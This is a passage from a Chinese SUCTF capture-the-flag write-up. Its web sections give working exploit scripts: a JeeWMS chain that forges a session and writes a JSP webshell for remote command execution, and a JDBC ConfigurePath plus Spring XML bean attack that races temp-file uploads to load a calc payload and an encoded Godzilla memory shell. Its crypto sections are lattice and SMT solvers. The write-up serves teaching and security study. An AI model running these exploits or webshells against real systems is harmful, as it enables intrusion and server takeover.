status, body = run_cmd(shell_url, "id", opener)
print(f"[+] id: HTTP {status}")
print(body)
status, flag_paths = run_cmd(
shell_url,
"find / -maxdepth 2 -type f -name 'flag*' 2>/dev/null",
opener,
)
print(f"[+] flag path search: HTTP {status}")
print(flag_paths)
candidates = [line.strip() for line in flag_paths.splitlines() if line.strip()]
if not candidates:
return
for path in candidates:
status, content = run_cmd(shell_url, f"date -f {path} 2>&1", opener)
print(f"[+] date -f {path}: HTTP {status}")
print(content)
if __name__ == "__main__":
main()
现在的逻辑是:
- 匿名
GET /rest/user,优先拿真实orgId - 匿名
POST /rest/user造用户 - 调
changeDefaultOrg建会话 - 如有需要,再访问一次
loginController.do?login进行 bootstrap PUT /rest/tokens/saveImage写 JSP- 调 shell 执行
id、find flag、date -f
使用方式:
python exploit_remote.py http://101.245.81.83:10018/jeewms
python exploit_remote.py http://101.245.81.83:10019/jeewms
总结
这题的核心漏洞链可以归纳为:
/rest/*过宽白名单- 匿名
rest/user用户枚举与创建 changeDefaultOrg越权建立会话saveImage任意文件写入- Linux 路径解析导致可写入 WebRoot
- JSP WebShell 拿到 RCE
- 远端环境附带的 SUID
date帮助读取 root-only flag
如果只从“有没有一个明显的未授权上传”这个角度去看,这题并不显眼。
但一旦把:
- 路径匹配
- 会话建立
- 密码算法
- Linux 路径行为
这几个点连起来,整道题就会非常顺。
SU_jdbc-master
首先看到题目不出网,然后看jar包

这个路由会测试数据库连接,但是PathInterceptor这个类对suctf字符串进行了waf,通过unicode绕过,这里我在windows本地起这个测试一下bypass

然后注意到driver里面还有另一个jar包kingbase8.jar,webconfig类里面写了


也就是说我们是我们只要带上连接串参数ConfigurePath,指定后面的文件,就能让它加载我们指定的内容,可是题目不出网,又没有上传接口,怎么让它加载我们的文件呢,这里想到之前p神的文章:ClassPathXmlApplicationContext的不出网利用 | 离别歌
明显我们只要让配置文件里面的内容为
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=http://127.0.0.1:7777/poc.xml
指定两个参数的内容,就能跟p神的挑战一样加载恶意xml,本地准备一个弹计算器的xml测试一下
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="exec" factory-bean="runtime" factory-method="exec">
<constructor-arg value="calc.exe" />
</bean>
</beans>

确实弹计算器了,但是题目确实没有上传的地方,p神的文章提到


这里p神演示的是windows环境下的打法,我本地起docker观察一下linux的情况

也就是说linux下临时文件存在/tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*.tmp下
然后现在的问题是,我们既要上传配置文件,又要上传xml,这有俩临时文件,linux下临时文件会暂存在fd中
也就是我们先要上传恶意xml,再上传配置文件,这个时候通过竞争,再发送json去加载我们的配置文件,配置文件调用ClassPathXmlApplicationContext加载恶意xml,显然要爆fd,让请求这个json成功加载到临时文件中的配置文件
这里参考从JDBC MySQL不出网攻击到spring临时文件利用-先知社区和fastjson1.2.83(开autotype)+mysql不出网利用 – fushulingのblog

这里我跟着大佬的脚本进行测试的时候,发现了问题,我写入的临时文件在fd里面总是少掉最后一行,那我直接手动加上一行没用的数据不就行了
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*.tmp
xxxxxxxxxxxxxx
然后准备内存马,这里用jmg工具生成哥斯拉马
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
<property name="arguments">
<list>
<value>yv66vgAAADIBCgEAWW9yZy9hcGFjaGUvc2hpcm8vY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGVkQ2xhc3NSZXNvbHZlcjY0OWE5NDMxN2E4YzQzY2JhYTI0MzI5YmJhZjM0NTU2BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAi8qCAAHAQAMZ2V0Q2xhc3NOYW1lAQBNb3JnLmFwYWNoZS5iZWFudXRpbH...(一大堆base64)</value>
</list>
</property>
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="9166"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
</beans>
还是没法打入内存马,这里查看docker日志发现ClassPathXmlApplicationContext加载的临时文件一直是它配置文件本身,后面调半天知道是加载的临时文件是根据字符大小来加载的,字符数小的先加载,所以通配符这里不能指定所有tmp文件
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*1.tmp
xxxxxxxxxxxxxx
最终得到exp,这里不知道为什么加载本地文件打不通,这里直接把payload加到脚本里,非常丑陋,但是能打通(
import socket
import threading
import time
import requests
import json
HOST = "1.95.113.59"
PORT = 10019
# HOST = "192.168.247.137"
# PORT = 8080
def cache_tmp():
a = b"""POST /api/connection/%C5%BFuctf HTTP/1.1
Host: 192.168.247.137:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx;
User-Agent: python-requests/2.32.3
Content-Length: 1999999
--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*1.tmp
xxxxxxxxxxxxxx
""".replace(
b"\n", b"\r\n"
)
s = socket.socket()
s.connect((HOST, PORT))
s.sendall(a)
time.sleep(1111111)
def cache_tmp2():
a = b"""POST /api/connection/%C5%BFuctf HTTP/1.1
Host: 192.168.247.137:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx;
User-Agent: python-requests/2.32.3
Content-Length: 1999999
--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
<property name="arguments">
<list>
<value>yv66vgAAADIBCgEAZm9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL2pzb250eXBlL2ltcGwvQXNQcm9wZXJ0eVR5cGVEZX...</value>
</list>
</property>
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="9237"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
</beans>
""".replace(
b"\n", b"\r\n"
)
s = socket.socket()
s.connect((HOST, PORT))
s.sendall(a)
time.sleep(1111111)
def exp():
url = f"http://{HOST}:{PORT}/api/connection/%C5%BFuctf"
headers = {
"Host": "127.0.0.1:8080",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"X-Authorization": "whoami",
"Content-Type": "application/json",
}
for fd in range(40, 101):
print(f"当前爆破到fd: {fd}")
named_pipe_path = f"/proc/self/fd/{fd}"
payload = {
"driver": "com.kingbase8.Driver",
"urlType": "jdbcUrl",
"jdbcUrl": f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}",
}
payload_json = json.dumps(payload).encode("utf-8")
headers["Content-Length"] = str(len(payload_json))
try:
response = requests.post(url, headers=headers, data=payload_json, timeout=5)
print(response.text)
except Exception:
continue
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
time.sleep(3)
threading.Thread(target=cache_tmp).start()
time.sleep(3)
exp()

Crypto
SU_RSA
RSA 中有
这就是整题的核心方程。
题目给出:
所以可以写成
其中未知量
由
移项可得:
令
再令
并满足
其中小根范围为:
所以这是一个标准的 二元模方程小根问题。
因为泄露了
所以脚本中设置: Y = 2^400
由
由于
而
所以脚本取:X = 2^338
我们要找的是方程
采用二维小根攻击套路,构造一批“偏移多项式”:
for k in range(m + 1):
for i in range(m - k + 1):
polys.append(x^i * f^k * e^(m - k))
for k in range(m + 1):
for j in range(1, t + 1):
polys.append(y^j * f^k * e^(m - k))
于是我们就把“模方程求根”变成了“整数多项式联立求根”。
exp:
from Crypto.Util.number import long_to_bytes
N = 92365041570462372694496496651667282908316053786471083312533551094859358939662811192309357413068144836081960414672809769129814451275108424713386238306177182140825824252259184919841474891970355752207481543452578432953022195722010812705782306205731767157651271014273754883051030386962308159187190936437331002989
e = 11633089755359155730032854124284730740460545725089199775211869030086463048569466235700655506823303064222805939489197357035944885122664953614035988089509444102297006881388753631007277010431324677648173190960390699105090653811124088765949042560547808833065231166764686483281256406724066581962151811900972309623
c = 49076508879433623834318443639845805924702010367241415781597554940403049101497178045621761451552507006243991929325463399667338925714447188113564536460416310188762062899293650186455723696904179965363708611266517356567118662976228548528309585295570466538477670197066337800061504038617109642090869630694149973251
S = 19240297841264250428793286039359194954582584333143975177275208231751442091402057804865382456405620130960721382582620473853285822817245042321797974264381440
A = N - S + 1
X = 2^338
Y = 2^400
m = 4
t = 1
PR.<x,y> = PolynomialRing(ZZ)
f = x*(A + y) + 1
print("[*] building shifts...")
polys = []
for k in range(m + 1):
for i in range(m - k + 1):
polys.append(x^i * f^k * e^(m - k))
for k in range(m + 1):
for j in range(1, t + 1):
polys.append(y^j * f^k * e^(m - k))
monomials = []
for p in polys:
for mono in p.monomials():
if mono not in monomials:
monomials.append(mono)
monomials.sort()
dim = len(monomials)
print(f"[*] lattice dim = {dim}")
M = Matrix(ZZ, dim, dim)
for i, p in enumerate(polys):
for j, mono in enumerate(monomials):
M[i, j] = p.monomial_coefficient(mono) * mono(X, Y)
print("[*] running LLL...")
M_lll = M.LLL()
P.<x,y> = PolynomialRing(ZZ)
roots_polys = []
for i in range(M_lll.nrows()):
if M_lll[i].is_zero():
continue
g = 0
for j, mono in enumerate(monomials):
g += (M_lll[i, j] // mono(X, Y)) * mono(x, y)
roots_polys.append(g)
if len(roots_polys) >= 2:
break
print("[*] solving resultant...")
rr = roots_polys[0].resultant(roots_polys[1], x)
rr = rr.univariate_polynomial()
for y0, _ in rr.roots():
x0 = -int(y0)
p_plus_q = S + x0
print("[+] p+q =", p_plus_q)
Z.<z> = PolynomialRing(ZZ)
eq = z^2 - p_plus_q*z + N
rs = eq.roots()
if rs:
p = int(rs[0][0])
q = N // p
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m_plain = power_mod(c, d, N)
print("[+] flag =", long_to_bytes(int(m_plain)))
break
"""
[*] building shifts...
[*] lattice dim = 20
[*] running LLL...
[*] solving resultant...
[+] p+q = 19240297841264250428793286039359195637731400054985741919962107944867330585427323745692248457504292195729962226250378456203792847440293835522720705701354066
[+] flag = b'SUCTF{congratulation_you_know_small_d_with_hint_factor}'
"""
SU_Restaurant
题目中的 Point 运算为:
因此矩阵乘法是 min-plus (tropical) 矩阵乘法:
矩阵加法为逐元素最小值:
服务器初始化:
消息 msg 经 sha3_512 得到 64 字节,排成:
cook() 随机生成:
返回:
验证时计算:
将
按 tropical 分配律展开:
由于
即
菜单1返回 (A,B,P,R,S) 和菜名 foodname,菜名已知,可计算 M。
未知变量为
所有变量范围 [0,255],点两次菜得到两组样本,共享同一组 C,D,建立 SMT 约束直接求解即可恢复 C,D。
得到 C,D 后,对选项2给出的随机字符串计算 M,随机选择小范围 U,V,按服务器公式生成
exp:
from pwn import *
from hashlib import sha3_512
import numpy as np
import json,re,random
from z3 import *
HOST="101.245.107.149"
PORT=10020
def H(x):
h=sha3_512(x).hexdigest()
return [int(h[i:i+2],16) for i in range(0,128,2)]
def msg_to_M(msg):
t=H(msg.encode())
return [[t[i*8+j] for j in range(8)] for i in range(8)]
def trop_add(A,B):
return [[min(A[i][j],B[i][j]) for j in range(len(A[0]))] for i in range(len(A))]
def trop_mul(A,B):
n,m=len(A),len(A[0])
p=len(B[0])
R=[[10**9]*p for _ in range(n)]
for i in range(n):
for j in range(p):
R[i][j]=min(A[i][k]+B[k][j] for k in range(m))
return R
def rank_ok(A,r):
return np.linalg.matrix_rank(np.array(A))>=r
def legal(A):
return all(0<=A[i][j]<=256 for i in range(len(A)) for j in range(len(A[0])))
def z3min(xs):
v=xs[0]
for x in xs[1:]:
v=If(x<v,x,v)
return v
def mat(name,n,m):
return [[Int(f"{name}_{i}_{j}") for j in range(m)] for i in range(n)]
def add_range(s,M,l,r):
for row in M:
for x in row:
s.add(x>=l,x<=r)
def solve_CD(samples):
s=Solver()
C=mat("C",8,7)
D=mat("D",7,8)
add_range(s,C,0,255)
add_range(s,D,0,255)
UV=[]
for t in range(len(samples)):
U=mat(f"U{t}",8,7)
V=mat(f"V{t}",7,8)
add_range(s,U,0,255)
add_range(s,V,0,255)
UV.append((U,V))
for t,samp in enumerate(samples):
M,A,B,P,R,S=samp
U,V=UV[t]
for i in range(8):
for j in range(7):
mc=z3min([IntVal(M[i][k])+C[k][j] for k in range(8)])
s.add(IntVal(A[i][j])==If(U[i][j]<mc,U[i][j],mc))
for i in range(7):
for j in range(8):
dm=z3min([D[i][k]+IntVal(M[k][j]) for k in range(8)])
s.add(IntVal(B[i][j])==If(V[i][j]<dm,V[i][j],dm))
for i in range(8):
for j in range(8):
s.add(IntVal(P[i][j])==z3min([C[i][k]+V[k][j] for k in range(7)]))
s.add(IntVal(R[i][j])==z3min([U[i][k]+D[k][j] for k in range(7)]))
s.add(IntVal(S[i][j])==z3min([U[i][k]+V[k][j] for k in range(7)]))
s.check()
m=s.model()
Cval=[[m[C[i][j]].as_long() for j in range(7)] for i in range(8)]
Dval=[[m[D[i][j]].as_long() for j in range(8)] for i in range(7)]
return Cval,Dval
def parse_sample(txt):
food=re.search(r'Here is your (.*?)!"',txt).group(1)
def g(x):
return json.loads(re.search(rf"{x} = (\[\[.*?\]\])",txt,re.S).group(1))
M=msg_to_M(food)
return (M,g("A"),g("B"),g("P"),g("R"),g("S"))
def forge(C,D,msg):
M=msg_to_M(msg)
while True:
U=[[random.randint(0,100) for _ in range(7)] for __ in range(8)]
V=[[random.randint(0,100) for _ in range(8)] for __ in range(7)]
P=trop_mul(C,V)
R=trop_mul(U,D)
S=trop_mul(U,V)
A=trop_add(trop_mul(M,C),U)
B=trop_add(trop_mul(D,M),V)
if not all(map(legal,[A,B,P,R,S])):
continue
if not rank_ok(A,7): continue
if not rank_ok(B,7): continue
if not rank_ok(P,8): continue
if not rank_ok(R,8): continue
if not rank_ok(S,8): continue
if trop_mul(A,B)==S: continue
return {"A":A,"B":B,"P":P,"R":R,"S":S}
io=remote(HOST,PORT)
samples=[]
for _ in range(2):
io.sendlineafter(b">>> ",b"1")
txt=io.recvuntil(b"What do you want").decode()
samples.append(parse_sample(txt))
C,D=solve_CD(samples)
io.sendlineafter(b">>> ",b"2")
txt=io.recvuntil(b">>> ").decode()
target=re.search(r'Please make (.*?) for me!',txt).group(1)
payload=forge(C,D,target)
io.sendline(json.dumps(payload).encode())
io.interactive()
#The waiter says: "Here is the FLAG: b'SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}'"
SU_Prng
题目里的状态转移是一个模
服务端会给出:
a- 56 个
out md5(str(seed0))
输出函数是:
这里最关键的点是 Python 运算优先级。题目代码里写的是:
self.seed >> bits - 250
真正执行的是:
而 ror(x, k, 256) 只看 6..13 位决定。
把状态拆成上下 128 位:
把参数也拆开:
则递推变成:
其中
所以低 128 位本身就是一个模
设
因为旋转量只取决于 6..13 位,所以
低半部分降到模
对每个输出 out_i,枚举全部
的旋转量。因为旋回去之后得到的是
它天然只有 128 位。
接着枚举前两个
这一步对应 exp.py 里的:
rotation_setsmod14_paths
写成
此时
由于低半部分满足二阶关系
代入后得到
这已经是模
所以脚本把它转成格问题,用 LLL 求一个特解
有了正确旋转后:
再代入
可得
其中
从格里求出来的不是唯一解,而是一族:
也就是所有
再把高半部分代入二阶递推:
这里
然后对公共平移
- 先确定
- 再确定
- 再确定
- 一直抬到
每次只试下一位是 0 还是 1,并检查高半部分二阶递推是否继续成立。因为约束很多,错误分支会非常快被剪掉。
当完整状态序列恢复出来以后:
题目要求输入的是最初的 seed0,满足
如果 a 是奇数,直接求逆即可。
如果 a 是偶数,会出现多个同余解,但题目还泄露了
所以把所有候选解枚举出来,再用 MD5 过滤即可。
exp:
#!/usr/bin/env python3
import ast
import hashlib
import math
import re
import socket
import sys
import time
import sympy as sp
from fpylll import IntegerMatrix, LLL
BITS = 256
NOUT = 56
MOD = 1 << BITS
MASK = MOD - 1
MOD128 = 1 << 128
MASK128 = MOD128 - 1
MOD14 = 1 << 14
MOD142 = 1 << 142
TOP114 = 1 << 114
DEFAULT_HOST = "1.95.115.179"
DEFAULT_PORT = 10000
def rol(x, k, n=BITS):
k %= n
return ((x << k) | (x >> (n - k))) & ((1 << n) - 1)
def ror(x, k, n=BITS):
k %= n
return ((x >> k) | (x << (n - k))) & ((1 << n) - 1)
def center(x, mod):
x %= mod
if x > mod // 2:
x -= mod
return x
class SolveError(RuntimeError):
pass
def parse_transcript(text):
ma = re.search(r"a\s*=\s*(\d+)", text)
mo = re.search(r"out\s*=\s*(\[[^\n\r]+\])", text)
mh = re.search(r"h\s*=\s*([0-9a-fA-F]{32})", text)
if not (ma and mo and mh):
raise SolveError("bad transcript")
a = int(ma.group(1))
outs = [int(x) for x in ast.literal_eval(mo.group(1))]
md5_hex = mh.group(1).lower()
return a, outs, md5_hex
def recv_until(sock, marker=b"> ", timeout=180):
sock.settimeout(timeout)
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data
def recv_rest(sock, timeout=180):
sock.settimeout(timeout)
out = []
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
out.append(chunk)
except socket.timeout:
break
return b"".join(out)
def rotation_sets(outs):
return [[r for r in range(256) if (rol(o, r) >> 128) == 0] for o in outs]
def mod14_paths(a, sets):
a14 = a & (MOD14 - 1)
seen = set()
out = []
for r0 in sets[0]:
for low0 in range(64):
t0 = (r0 << 6) | low0
at0 = (a14 * t0) & (MOD14 - 1)
for r1 in sets[1]:
for low1 in range(64):
t1 = (r1 << 6) | low1
b0 = (t1 - at0) & (MOD14 - 1)
ts = [t0, t1]
ok = True
for i in range(1, len(sets) - 1):
nxt = (a14 * ts[-1] + b0) & (MOD14 - 1)
if ((nxt >> 6) & 0xFF) not in sets[i + 1]:
ok = False
break
ts.append(nxt)
if ok:
key = tuple(ts)
if key not in seen:
seen.add(key)
out.append(ts)
return out
def build_basis(a, n):
a0 = a & MASK128
A = (a0 + 1) & MASK128
B = (-a0) & MASK128
P = [0] * (n + 1)
Q = [0] * (n + 1)
P[1], Q[1] = 1, 0
P[2], Q[2] = 0, 1
for i in range(3, n + 1):
P[i] = (A * P[i - 1] + B * P[i - 2]) & MASK128
Q[i] = (A * Q[i - 1] + B * Q[i - 2]) & MASK128
rows = []
for i in range(3, n + 1):
row = [0] * n
row[0] = P[i]
row[1] = Q[i]
row[i - 1] = -1
rows.append(row)
row = [0] * n
row[0] = MOD128
rows.append(row)
row = [0] * n
row[1] = MOD128
rows.append(row)
mat = IntegerMatrix(n, n)
trans = IntegerMatrix.identity(n)
for i in range(n):
for j in range(n):
mat[i, j] = rows[i][j]
LLL.reduction(mat, trans, delta=0.99, eta=0.501)
red = sp.Matrix([[int(mat[i, j]) for j in range(n)] for i in range(n)])
tr = sp.Matrix([[int(trans[i, j]) for j in range(n)] for i in range(n)])
return P, Q, tr, red.inv()
def particular_solution(a, ts, xs, basis):
P, Q, trans, inv_red = basis
n = len(xs)
a0 = a & MASK128
A = (a0 + 1) & MASK128
B = (-a0) & MASK128
a142 = a & (MOD142 - 1)
b14 = (ts[1] - ((a & (MOD14 - 1)) * ts[0])) & (MOD14 - 1)
ds = [((a142 * ts[i] + b14 - ts[i + 1]) >> 14) & MASK128 for i in range(n - 1)]
u = [((x & (MOD14 - 1)) ^ t) for x, t in zip(xs, ts)]
delta = [(ds[i + 1] - ds[i]) & MASK128 for i in range(n - 2)]
R = [0] * (n + 1)
for i in range(3, n + 1):
R[i] = (A * R[i - 1] + B * R[i - 2] + delta[i - 3]) & MASK128
c = [
(-R[i] - ((P[i] * u[0] + Q[i] * u[1] - u[i - 1]) << 114)) % MOD128
for i in range(3, n + 1)
] + [0, 0]
vec = trans * sp.Matrix(c)
vec = sp.Matrix([center(int(v), MOD128) for v in vec])
return [int(v) for v in (inv_red * vec)]
def lift_states(a, ts, xs, y0):
n = len(xs)
a0 = a & MASK128
a1 = a >> 128
u = [((x & (MOD14 - 1)) ^ t) for x, t in zip(xs, ts)]
xhi = [x >> 14 for x in xs]
lo = max(-y for y in y0)
hi = min(TOP114 - 1 - y for y in y0)
if lo > hi:
return []
base = lo
ys0 = [y + base for y in y0]
ls0 = [ts[i] + (ys0[i] << 14) for i in range(n)]
b0 = (ls0[1] - a0 * ls0[0]) % MOD128
carries = []
for i in range(n - 1):
tmp = a0 * ls0[i] + b0
carries.append((tmp - ls0[i + 1]) >> 128)
target = [
(a1 * (ls0[i + 1] - ls0[i]) + carries[i + 1] - carries[i]) % MOD128
for i in range(n - 2)
]
cands = [0]
for bit in range(114):
mod = 1 << (15 + bit)
mask = (1 << (bit + 1)) - 1
am = (a0 + 1) % mod
bm = a0 % mod
want = [t % mod for t in target]
ymask = [y & mask for y in y0]
nxt = []
for pref in cands:
for add in (0, 1 << bit):
T = pref | add
hp = []
for i in range(n):
yi = (ymask[i] + T) & mask
hp.append(u[i] | (((xhi[i] ^ yi) & mask) << 14))
if all((hp[i + 2] - am * hp[i + 1] + bm * hp[i]) % mod == want[i] for i in range(n - 2)):
nxt.append(T)
cands = sorted(set(nxt))
if not cands:
return []
out = []
for T in cands:
ys = [y + T for y in y0]
if not all(0 <= y < TOP114 for y in ys):
continue
states = []
for i in range(n):
lo128 = ts[i] + (ys[i] << 14)
hi128 = u[i] + ((xhi[i] ^ ys[i]) << 14)
states.append(lo128 + (hi128 << 128))
b = (states[1] - a * states[0]) & MASK
if all(((states[i + 1] - a * states[i]) & MASK) == b for i in range(n - 1)):
out.append((states, b))
return out
def recover_seed(a, b, state1, md5_hex):
rhs = (state1 - b) & MASK
g = math.gcd(a, MOD)
if rhs % g:
return None
aa = a // g
rr = rhs // g
mod = MOD // g
base = (rr * pow(aa, -1, mod)) % mod
for k in range(g):
seed = base + k * mod
if hashlib.md5(str(seed).encode()).hexdigest() == md5_hex:
return seed
return None
def solve_instance(a, outs, md5_hex):
if len(outs) != NOUT:
raise SolveError(f"expected {NOUT} outputs")
basis = build_basis(a, len(outs))
for ts in mod14_paths(a, rotation_sets(outs)):
rs = [t >> 6 for t in ts]
xs = [rol(o, r) & MASK128 for o, r in zip(outs, rs)]
y0 = particular_solution(a, ts, xs, basis)
for states, b in lift_states(a, ts, xs, y0):
seed = recover_seed(a, b, states[0], md5_hex)
if seed is not None:
return {"seed": seed, "b": b, "states": states, "rotations": rs}
raise SolveError("solve failed")
def solve_text(text):
a, outs, md5_hex = parse_transcript(text)
t0 = time.time()
res = solve_instance(a, outs, md5_hex)
print(f"[+] recovered seed in {time.time() - t0:.3f}s")
print(f"[+] seed = {res['seed']}")
return res
def solve_remote(host, port):
with socket.create_connection((host, port), timeout=180) as sock:
text = recv_until(sock).decode(errors="replace")
print(text, end="")
res = solve_text(text)
sock.sendall(f"{res['seed']}\n".encode())
tail = recv_rest(sock).decode(errors="replace")
if tail:
print(tail, end="")
return res
def parse_target(argv):
if not argv:
return DEFAULT_HOST, DEFAULT_PORT
if len(argv) == 1:
target = argv[0]
if ":" in target:
host, port = target.rsplit(":", 1)
return host, int(port)
return DEFAULT_HOST, int(target)
if len(argv) == 2:
return argv[0], int(argv[1])
raise SolveError("usage: python exp.py [port] | [host port] | [host:port]")
def main():
host, port = parse_target(sys.argv[1:])
solve_remote(host, port)
if __name__ == "__main__":
try:
main()
except SolveError as e:
print(f"[!] SolveError: {e}", file=sys.stderr)
sys.exit(1)
SU_Isogeny
题目核心函数是:
def cal(A, sk):
E = EllipticCurve(F, [0, A, 0, 1, 0])
for sgn in [1, -1]:
for e, ell in zip(sk, pl):
for i in range(sgn * e):
while not (P := (p + 1) // ell * E.random_element()) or ell * P != 0:
pass
E = E.isogeny_codomain(P)
E = E.quadratic_twist()
return E.montgomery_model().a2()
它的作用是:从 Montgomery 系数 A 对应的曲线出发,按秘密向量 sk 连续做一串同源,最后返回新的 Montgomery 系数。
服务端有三个关键接口:
Get public key返回
Get gift输入两个公钥,计算
然后输出
Get flag共享秘密为
密钥为
然后用 AES-ECB 加密 flag
整题的漏洞在 Get gift:
if A != B:
print("Illegal public key!")
print(f"Gift : {int(A) >> 200}")
即使输入的是非法公钥,只要 A != B,程序也只是打印一句 Illegal public key!,但仍然会把 A 的高位泄露出来。
这就把题目变成了一个静态高位 oracle:
只要我们自己构造合适的非法公钥,就能得到对应共享结果的高位。
接下来要判断该用论文里的哪一套公式。题目给的素数满足:
因此对应的是论文 https://eprint.iacr.org/2023/1409 里 Section 5.1 的 CSIDH 情形,所以应该使用 4-isogeny 邻居和三条双线性关系。
设某条曲线的 Montgomery 系数为 A,则它的两个 4-isogeny 邻居可以直接写成:
题目中先通过菜单 1 拿到:
然后计算 pkA 的两个 4-isogeny 邻居:
接着把这三个点都拿去问 gift:
gift(pkA, pkB)得到的高位
gift(pkA_+, pkB)得到的高位
gift(pkA_-, pkB)得到的高位
由于类群作用可交换,pkA 的 4-isogeny 邻居在经过 pvB 作用后,得到的 SS,SS_+,SS_- 之间仍然满足同样的 4-isogeny 关系。
设题目泄露的是高 311 位,未知的是低 200 位。于是可以写成:
其中 H_0,H_1,H_2 已知,而
是未知的小量。
论文中 CSIDH 的 Corollary 1 给出了三条关系:
把 (A,B,C) 分别替换成 (SS,SS_+,SS_-),再把高位代入常数项,就得到三元模方程组:
这三条式子总次数都是 2,未知量 x,y,z 的范围都是 2^200,因此正好可以套论文里的 automated-coppersmith。
这里使用的参数是:
i = 2m = 6- 125 个 monomials
flatter做格约化
于是会构造出一个 125 x 125 的 Coppersmith 格。
装了 flatter 以后,格约化时间基本十几秒就能完成。
恢复出 x 以后,就能拼回完整共享秘密:
然后再调用菜单 3 拿到密文。题目密钥派生方式已经在源码里写死了:
按这个方式恢复密钥后,直接 AES-ECB 解密即可得到 flag。
exp:
from sage.all import *
from random import randint, seed as random_seed
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import argparse
import os
import re
import shutil
import socket
import tempfile
import time
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
COPPERSMITH_DIR = os.path.join(SCRIPT_DIR, "vendor", "automated-coppersmith")
load(os.path.join(COPPERSMITH_DIR, "coppersmithsMethod.sage"))
load(os.path.join(COPPERSMITH_DIR, "optimalShiftPolys.sage"))
P = ZZ(
5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659
)
PL = list(prime_range(3, 374)) + [587]
F = GF(P)
UNKNOWN_BITS = 200
I = 2
DEFAULT_HOST = "1.95.115.179"
DEFAULT_PORT = 10017
def cal(a_coeff, secret_vector):
curve = EllipticCurve(F, [0, a_coeff, 0, 1, 0])
for sign in [1, -1]:
for exponent, ell in zip(secret_vector, PL):
for _ in range(sign * exponent):
while True:
point = ((P + 1) // ell) * curve.random_element()
if point != curve(0) and ell * point == 0:
break
curve = curve.isogeny_codomain(point)
curve = curve.quadratic_twist()
return ZZ(curve.montgomery_model().a2())
def neighbor_plus(a_coeff):
return ZZ((2 * (a_coeff + 6) * inverse_mod(2 - a_coeff, P)) % P)
def neighbor_minus(a_coeff):
return ZZ((2 * (a_coeff - 6) * inverse_mod(a_coeff + 2, P)) % P)
def leak_high_bits(public_key, secret_vector):
return cal(public_key, secret_vector) >> UNKNOWN_BITS
def recover_shared_secret(high_base, high_plus, high_minus):
base_msb = ZZ(high_base) << UNKNOWN_BITS
plus_msb = ZZ(high_plus) << UNKNOWN_BITS
minus_msb = ZZ(high_minus) << UNKNOWN_BITS
ring = PolynomialRing(QQ, names=("x", "y", "z"), order="lex")
x, y, z = ring.gens()
f = (base_msb + x) * (plus_msb + y) + 2 * (base_msb + x) - 2 * (plus_msb + y) + 12
g = (plus_msb + y) * (minus_msb + z) + 2 * (plus_msb + y) - 2 * (minus_msb + z) + 12
